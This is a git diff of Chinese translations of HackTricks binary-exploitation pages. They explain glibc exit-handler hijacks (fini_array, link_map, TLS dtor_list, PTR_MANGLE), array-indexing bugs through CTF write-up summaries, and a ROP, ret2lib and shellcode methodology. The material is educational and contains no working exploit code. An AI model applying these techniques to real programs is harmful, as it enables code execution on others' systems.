||||
如[**这篇文章**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure)中所述,如果程序使用`return`或`exit()`退出,它将运行`__run_exit_handlers()`,这将调用已注册的析构函数。
|
||||
|
||||
{% hint style="danger" %}
|
||||
如果程序通过**`_exit()`**函数退出,它将调用**`exit`系统调用**,退出处理程序将不会被执行。因此,要确认`__run_exit_handlers()`是否被执行,您可以在其上设置断点。
|
||||
如果程序通过**`_exit()`**函数退出,它将调用**`exit`系统调用**,退出处理程序将不会被执行。因此,要确认`__run_exit_handlers()`是否被执行,可以在其上设置断点。
|
||||
{% endhint %}
|
||||
|
||||
重要的代码是([源代码](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
重要的代码是([来源](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||
```c
|
||||
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||
if (fini_array != NULL)
|
||||
|
@ -63,9 +64,9 @@ Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
|||
有一些**选项**:
|
||||
|
||||
* 覆盖`map->l_addr`的值,使其指向一个带有执行任意代码指令的**伪造`fini_array`**
|
||||
* 覆盖`l_info[DT_FINI_ARRAY]`和`l_info[DT_FINI_ARRAYSZ]`条目(在内存中更或多少是连续的),使它们指向一个伪造的`Elf64_Dyn`结构,再次使**`array`指向攻击者控制的内存区域**。 
|
||||
* [**这篇文章**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell)用受控内存中`.bss`中的地址覆盖了`l_info[DT_FINI_ARRAY]`,其中包含一个伪造的`fini_array`。这个伪造的数组首先包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **地址**,然后是这个**伪造数组**地址与`map->l_addr`值之间的**差异**,以便`*array`指向伪造数组。
|
||||
* 根据这种技术的主要帖子和[**这篇文章**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet),ld.so在栈上留下一个指向ld.so中的二进制`link_map`的指针。通过任意写入,可以覆盖它并使其指向由攻击者控制的伪造`fini_array`,其中包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)的地址,例如。
|
||||
* 覆盖`l_info[DT_FINI_ARRAY]`和`l_info[DT_FINI_ARRAYSZ]`条目(在内存中更或多少连续),使它们指向一个伪造的`Elf64_Dyn`结构,再次使**`array`指向攻击者控制的内存区域**。 
|
||||
* [**这篇文章**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell)用受控内存中`.bss`中的地址覆盖了`l_info[DT_FINI_ARRAY]`,其中包含一个伪造的`fini_array`。这个伪造数组首先包含一个[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)地址,然后是这个**伪造数组**地址与`map->l_addr`值之间的**差异**,以便`*array`指向伪造数组。
|
||||
* 根据这种技术的主要帖子和[**这篇文章**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet),ld.so在栈上留下一个指向ld.so中的二进制`link_map`的指针。通过任意写入,可以覆盖它并使其指向一个由攻击者控制的带有[**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md)地址的伪造`fini_array`,例如。
|
||||
|
||||
在前面的代码之后,您可以找到另一个有趣的部分,其中包含以下代码:
|
||||
```c
|
||||
|
@ -75,11 +76,11 @@ if (fini != NULL)
|
|||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||
}
|
||||
```
|
||||
在这种情况下,有可能覆盖`map->l_info[DT_FINI]`的值,指向一个伪造的`ElfW(Dyn)`结构。查找[**更多信息请点击这里**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure)。
|
||||
在这种情况下,有可能覆盖`map->l_info[DT_FINI]`的值,指向一个伪造的`ElfW(Dyn)`结构。在[**这里查看更多信息**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure)。
|
||||
|
||||
## 在**`__run_exit_handlers`**中的TLS存储dtor\_list覆写
|
||||
## 在**`__run_exit_handlers`**中覆盖TLS存储dtor_list
|
||||
|
||||
正如[**这里解释的**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite),如果程序通过`return`或`exit()`退出,它将执行**`__run_exit_handlers()`**,这将调用任何已注册的析构函数。
|
||||
正如[**这里解释的**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor_list-overwrite),如果程序通过`return`或`exit()`退出,它将执行**`__run_exit_handlers()`**,这将调用任何已注册的析构函数。
|
||||
|
||||
来自`_run_exit_handlers()`的代码:
|
||||
```c
|
||||
|
@ -129,8 +130,8 @@ func (cur->obj);
|
|||
```
|
||||
对于**`tls_dtor_list`**中的每个注册函数,它将从**`cur->func`**中解码指针并使用参数**`cur->obj`**调用它。
|
||||
|
||||
使用来自[**GEF的分支**](https://github.com/bata24/gef)中的**`tls`**函数,可以看到**`dtor_list`**实际上非常接近**栈canary**和**PTR\_MANGLE cookie**。因此,通过对其进行溢出,可以**覆盖**cookie和**栈canary**。\
|
||||
覆盖PTR\_MANGLE cookie,将可能通过将其设置为0x00来**绕过`PTR_DEMANLE`函数**,这意味着用于获取真实地址的**`xor`**仅是配置的地址。然后,通过在**`dtor_list`**上写入,可以使用函数**地址**及其**参数**来**链接多个函数**。
|
||||
使用来自[**GEF的分支**](https://github.com/bata24/gef)中的**`tls`**函数,可以看到**`dtor_list`**实际上非常接近**栈 canary**和**PTR\_MANGLE cookie**。因此,通过对其进行溢出,可以**覆盖**cookie和**栈 canary**。\
|
||||
覆盖PTR\_MANGLE cookie,将可能通过将其设置为0x00来**绕过`PTR_DEMANLE`函数**,这意味着用于获取真实地址的**`xor`**实际上就是配置的地址。然后,通过在**`dtor_list`**上写入,可以使用函数**地址**及其**参数**来**链接多个函数**。
|
||||
|
||||
最后请注意,存储的指针不仅会与cookie进行异或运算,还会旋转17位:
|
||||
```armasm
|
||||
|
@ -228,25 +229,11 @@ free (cur);
|
|||
__libc_lock_unlock (__exit_funcs_lock);
|
||||
```
|
||||
变量`f`指向**`initial`**结构,根据`f->flavor`的值不同,将调用不同的函数。\
|
||||
根据数值不同,要调用的函数地址将位于不同位置,但始终会**解码**。
|
||||
根据数值不同,要调用的函数地址将在不同的位置,但它将始终是**解码的**。
|
||||
|
||||
此外,在选项**`ef_on`**和**`ef_cxa`**中,还可以控制一个**参数**。
|
||||
|
||||
可以在使用GEF运行**`gef> p initial`**的调试会话中检查**`initial`结构**。
|
||||
可以在使用GEF运行**`gef> p initial`**的调试会话中检查**`initial`**结构。
|
||||
|
||||
要利用这一点,您需要泄漏或擦除`PTR_MANGLE`cookie,然后用`system('/bin/sh')`覆盖initial中的`cxa`条目。\
|
||||
要利用这一点,您需要**泄漏或擦除`PTR_MANGLE`cookie**,然后用`system('/bin/sh')`覆盖`initial`中的`cxa`条目。\
|
||||
您可以在[**有关该技术的原始博客文章**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure)中找到一个示例。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 数组索引
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
|
@ -21,10 +22,10 @@
|
|||
然而,您可以找到一些不错的**示例**:
|
||||
|
||||
* [https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19\_dreamheaps/index.html)
|
||||
* 存在**2个冲突的数组**,一个用于存储数据的**地址**,另一个用于存储该数据的**大小**。可以从一个数组中覆盖另一个数组,从而可以写入任意地址并将其指定为大小。这允许将`free`函数的地址写入GOT表,然后用`system`的地址覆盖它,并从具有`/bin/sh`的内存中调用free。
|
||||
* 存在**2个冲突的数组**,一个用于存储数据的**地址**,另一个用于存储该数据的**大小**。可以从一个数组中覆盖另一个数组,从而可以写入任意地址,将`free`函数的地址写入GOT表,然后用`system`的地址覆盖它,并从具有`/bin/sh`的内存中调用free。
|
||||
* [https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18\_doubletrouble/index.html)
|
||||
* 64位,无nx。覆盖一个大小以获得一种缓冲区溢出,其中每个东西都将被用作双精度数,并按从小到大排序,因此需要创建一个满足该要求的shellcode,考虑到不能移动canary的位置,并最终用地址覆盖RIP以返回,满足先前的要求,并将最大的地址放在一个新地址上,指向栈的起始位置(由程序泄漏),因此可以使用ret跳转到那里。
|
||||
* 64位,无nx。覆盖一个大小以获得一种缓冲区溢出,其中每个东西都将被用作双精度数,并按从小到大的顺序排序,因此需要创建一个满足该要求的shellcode,考虑到不能移动canary的位置,并最终用指向ret的地址覆盖RIP,满足先前的要求,并将最大的地址放在一个新地址,指向栈的开始(由程序泄漏),因此可以使用ret跳转到那里。
|
||||
* [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
|
||||
* 64位,无relro,canary,nx,无pie。栈中数组存在一个off-by-one,允许控制指针以授予WWW(它将数组中所有数字的总和写入数组中的off-by-one覆盖的地址)。控制堆栈以覆盖GOT `exit`地址为`pop rdi; ret`,并在堆栈中添加`main`的地址(回到`main`)。使用ROP链泄漏GOT中put的地址(将调用`exit`,因此将调用`pop rdi; ret`,从而在堆栈中执行此链)。最后使用新的ROP链执行ret2lib。
|
||||
* 64位,无relro,canary,nx,无pie。栈中的数组存在一个off-by-one,允许控制一个指针,授予WWW(它将数组中所有数字的总和写入数组中的off-by-one覆盖的地址)。控制堆栈,使GOT `exit`地址被覆盖为`pop rdi; ret`,并在堆栈中添加`main`的地址(回到`main`)。使用ROP链泄漏GOT中put的地址(将调用`exit`,因此将调用`pop rdi; ret`,从而在堆栈中执行此链)。最后使用新的ROP链执行ret2lib。
|
||||
* [https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html](https://guyinatuxedo.github.io/14-ret\_2\_system/tu\_guestbook/index.html)
|
||||
* 32位,无relro,无canary,nx,pie。利用错误的索引来从堆栈中泄漏libc和堆的地址。利用缓冲区溢出执行ret2lib调用`system('/bin/sh')`(需要堆地址来绕过检查)。
|
||||
|
|
|
@ -1,22 +1,23 @@
|
|||
# 二进制基础利用方法论
|
||||
# 基本二进制利用方法论
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## ELF基础信息
|
||||
## ELF 基本信息
|
||||
|
||||
在开始利用任何东西之前,了解**ELF二进制文件**的结构的一部分是很有趣的:
|
||||
在开始利用任何东西之前,了解 **ELF 二进制文件** 的结构的一部分是很有趣的:
|
||||
|
||||
{% content-ref url="elf-tricks.md" %}
|
||||
[elf-tricks.md](elf-tricks.md)
|
||||
|
@ -30,21 +31,21 @@
|
|||
|
||||
## 栈溢出方法论
|
||||
|
||||
有这么多技术,有一个方案可以确定每种技术何时有用是很好的。请注意,相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护措施的方法,但在这个方法论中没有。
|
||||
有这么多技术,最好有一个方案,确定何时使用每种技术。请注意,相同的保护措施会影响不同的技术。您可以在每个保护部分找到绕过保护的方法,但在这个方法论中没有提到。
|
||||
|
||||
## 控制流程
|
||||
## 控制流
|
||||
|
||||
有不同的方法可以控制程序的流程:
|
||||
|
||||
* [**栈溢出**](../stack-overflow/) 覆盖栈上的返回指针或 EBP -> ESP -> EIP。
|
||||
* 可能需要滥用[**整数溢出**](../integer-overflow.md) 来引发溢出
|
||||
* 或通过**任意写入 + 写入何处执行**来实现
|
||||
* [**格式化字符串**](../format-strings/)**:**滥用 `printf` 来在任意地址写入任意内容。
|
||||
* [**数组索引**](../array-indexing.md):滥用设计不良的索引以控制某些数组并获得任意写入。
|
||||
* 可能需要滥用[**整数溢出**](../integer-overflow.md) 来引发溢出
|
||||
* **bof to WWW via ROP**:滥用缓冲区溢出来构建ROP,从而能够获得WWW。
|
||||
* 可能需要滥用 [**整数溢出**](../integer-overflow.md) 来引发溢出
|
||||
* 或通过 **任意写入 + 写入何处执行**。
|
||||
* [**格式化字符串**](../format-strings/)**:**滥用 `printf` 在任意地址写入任意内容。
|
||||
* [**数组索引**](../array-indexing.md):滥用设计不良的索引以控制某些数组并进行任意写入。
|
||||
* 可能需要滥用 [**整数溢出**](../integer-overflow.md) 来引发溢出
|
||||
* **bof to WWW via ROP**:滥用缓冲区溢出构建 ROP 并能够获得 WWW。
|
||||
|
||||
您可以在以下位置找到**写入何处执行**技术:
|
||||
您可以在以下位置找到 **写入何处执行** 技术:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
|
@ -52,40 +53,40 @@
|
|||
|
||||
## 永久循环
|
||||
|
||||
需要考虑的一点是通常**仅利用一次漏洞可能不足以执行成功的利用**,特别是需要绕过一些保护措施。因此,有趣的是讨论一些选项,**使单个漏洞在二进制文件的同一执行中可利用多次**:
|
||||
需要考虑的一点是通常**仅利用漏洞一次可能不足以执行成功的利用**,特别是需要绕过某些保护措施。因此,有趣的是讨论一些选项,**使单个漏洞在二进制文件的同一执行中可多次利用**:
|
||||
|
||||
* 在**ROP**链中写入**`main`函数的地址**或漏洞发生的地址。
|
||||
* 通过控制适当的ROP链,您可能能够执行该链中的所有操作
|
||||
* 在**GOT中写入`exit`地址**(或二进制文件在结束之前使用的任何其他函数的地址),以返回到漏洞处
|
||||
* 如[**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop)中所述,将2个函数存储在这里,一个用于再次调用漏洞,另一个用于调用**`__libc_csu_fini`**,后者将再次调用`.fini_array`中的函数。
|
||||
* 在 **ROP** 链中写入 **`main` 函数的地址** 或漏洞发生的地址。
|
||||
* 控制适当的 ROP 链,您可能能够执行该链中的所有操作
|
||||
* 在 **GOT 中的 `exit` 地址**(或二进制文件在结束之前使用的任何其他函数)中写入返回到漏洞的地址
|
||||
* 如 [**.fini\_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md#eternal-loop) 中所述,这里存储 2 个函数,一个用于再次调用漏洞,另一个用于调用 **`__libc_csu_fini`**,后者将再次调用 `.fini_array` 中的函数。
|
||||
|
||||
## 利用目标
|
||||
|
||||
### 目标:调用现有函数
|
||||
|
||||
* [**ret2win**](./#ret2win):代码中有一个需要调用的函数(可能带有一些特定参数)以获取标志。
|
||||
* 在**没有** [**PIE**](../common-binary-protections-and-bypasses/pie/) **和** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) **的常规bof中,您只需要在栈中存储的返回地址中写入地址。
|
||||
* 在带有[**PIE**](../common-binary-protections-and-bypasses/pie/)的bof中,您将需要绕过它
|
||||
* 在带有[**canary**](../common-binary-protections-and-bypasses/stack-canaries/)的bof中,您将需要绕过它
|
||||
* 如果需要设置多个参数以正确调用**ret2win**函数,您可以使用:
|
||||
* 如果有足够的gadgets,可以使用[**ROP**](./#rop-and-ret2...-techniques)链来准备所有参数
|
||||
* 在没有 [**PIE**](../common-binary-protections-and-bypasses/pie/) 和 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的常规 bof 中,只需在栈中存储的返回地址中写入地址。
|
||||
* 在带有 [**PIE**](../common-binary-protections-and-bypasses/pie/) 的 bof 中,您将需要绕过它
|
||||
* 在带有 [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) 的 bof 中,您将需要绕过它
|
||||
* 如果需要设置多个参数以正确调用 **ret2win** 函数,可以使用:
|
||||
* 如果有足够的 gadget,可以使用 [**ROP**](./#rop-and-ret2...-techniques) 链来准备所有参数
|
||||
* [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/)(如果可以调用此系统调用)来控制许多寄存器
|
||||
* 来自[**ret2csu**](../rop-return-oriented-programing/ret2csu.md)和[**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md)的gadgets来控制多个寄存器
|
||||
* 通过[**写入何处执行**](../arbitrary-write-2-exec/),您可以滥用其他漏洞(而非bof)来调用**`win`**函数。
|
||||
* [**指针重定向**](../stack-overflow/pointer-redirecting.md):如果栈包含指向将要被调用的函数或将被有趣函数(如system或printf)使用的字符串的指针,可以覆盖该地址。
|
||||
* 来自 [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) 和 [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) 的 gadget 来控制多个寄存器
|
||||
* 通过 [**Write What Where**](../arbitrary-write-2-exec/),您可以滥用其他漏洞(非 bof)来调用 **`win`** 函数。
|
||||
* [**指针重定向**](../stack-overflow/pointer-redirecting.md):如果栈包含将要调用的函数的指针,或者包含将要被有趣函数(system 或 printf)使用的字符串的指针,可以覆盖该地址。
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 或 [**PIE**](../common-binary-protections-and-bypasses/pie/) 可能会影响地址。
|
||||
* [**未初始化变量**](../stack-overflow/uninitialized-variables.md):您永远不知道。
|
||||
* [**未初始化变量**](../stack-overflow/uninitialized-variables.md):你永远不知道。
|
||||
|
||||
### 目标:RCE
|
||||
|
||||
#### 通过shellcode,如果nx被禁用或将shellcode与ROP混合:
|
||||
#### 通过 shellcode,如果 nx 禁用或将 shellcode 与 ROP 混合:
|
||||
|
||||
* [**(Stack) Shellcode**](./#stack-shellcode):这对于在覆盖返回指针之前或之后在栈中存储shellcode,然后**跳转到它**以执行它是有用的:
|
||||
* **在任何情况下,如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,在常规bof中您将需要绕过(泄漏)它
|
||||
* [**(Stack) Shellcode**](./#stack-shellcode):这对于在栈中存储 shellcode 并在覆盖返回指针之前或之后跳转到它以执行它非常有用:
|
||||
* **在任何情况下,如果有** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,在常规 bof 中,您将需要绕过(泄漏)它**
|
||||
* **没有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),可以跳转到栈的地址,因为它永远不会改变
|
||||
* **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/),您将需要使用诸如[**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md)之类的技术来跳转到它
|
||||
* **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您将需要使用一些[**ROP**](../rop-return-oriented-programing/) **来调用`memprotect`**,使某些页面`rwx`,然后**在那里存储shellcode**(例如调用read)然后跳转到那里。
|
||||
* 这将混合shellcode与ROP链。
|
||||
* **有** [**ASLR**](../common-binary-protections-and-bypasses/aslr/),您将需要使用诸如 [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) 的技术来跳转到它
|
||||
* **有** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md),您将需要使用一些 [**ROP**](../rop-return-oriented-programing/) **来调用 `memprotect`** 并使某些页面 `rwx`,然后 **在那里存储 shellcode**(例如调用 read)然后跳转到那里。
|
||||
* 这将混合 shellcode 与 ROP 链。
|
||||
#### 通过系统调用
|
||||
|
||||
* [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): 用于调用 `execve` 以运行任意命令。您需要能够找到**调用特定系统调用的参数的gadgets**。
|
||||
|
@ -98,8 +99,8 @@
|
|||
* [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): 用于调用库中的函数(通常来自**`libc`**)如**`system`**并带有一些准备好的参数(例如`'/bin/sh'`)。您需要二进制文件**加载包含您想要调用的函数的库**(通常是libc)。
|
||||
* 如果**静态编译且没有**[**PIE**](../common-binary-protections-and-bypasses/pie/),`system`和`/bin/sh`的**地址**不会改变,因此可以静态使用它们。
|
||||
* **没有**[**ASLR**](../common-binary-protections-and-bypasses/aslr/) **并且知道加载的libc版本**,`system`和`/bin/sh`的**地址**不会改变,因此可以静态使用它们。
|
||||
* 具有[**ASLR**](../common-binary-protections-and-bypasses/aslr/) **但没有**[**PIE**](../common-binary-protections-and-bypasses/pie/)**,知道libc并且二进制文件使用`system`**函数时,可以**`ret`到GOT中system的地址**并带有`'/bin/sh'`的地址(您需要弄清楚这一点)。
|
||||
* 具有[ASLR](../common-binary-protections-and-bypasses/aslr/)但没有[PIE](../common-binary-protections-and-bypasses/pie/),知道libc并且**没有二进制文件使用`system`**:
|
||||
* 具有[**ASLR**](../common-binary-protections-and-bypasses/aslr/) **但没有**[**PIE**](../common-binary-protections-and-bypasses/pie/)**,知道libc并且二进制文件使用`system`**函数时,可以**`ret`到GOT中system的地址**,参数为`'/bin/sh'`的地址(您需要弄清楚这一点)。
|
||||
* 具有[ASLR](../common-binary-protections-and-bypasses/aslr/)但没有[PIE](../common-binary-protections-and-bypasses/pie/),知道libc并且**二进制文件不使用`system`**:
|
||||
* 使用[**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md)解析`system`的地址并调用它 
|
||||
* **绕过**[**ASLR**](../common-binary-protections-and-bypasses/aslr/)并计算内存中`system`和`'/bin/sh'`的地址。
|
||||
* 具有[**ASLR**](../common-binary-protections-and-bypasses/aslr/) **和** [**PIE**](../common-binary-protections-and-bypasses/pie/) **但不知道libc**:您需要:
|
||||
|
@ -119,16 +120,17 @@
|
|||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)或[**PIE**](../common-binary-protections-and-bypasses/pie/)可能会影响地址。
|
||||
* [**未初始化的变量**](../stack-overflow/uninitialized-variables.md): 永远不知道
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# 利用工具
|
||||
|
||||
{% hint style="success" %}
|
||||
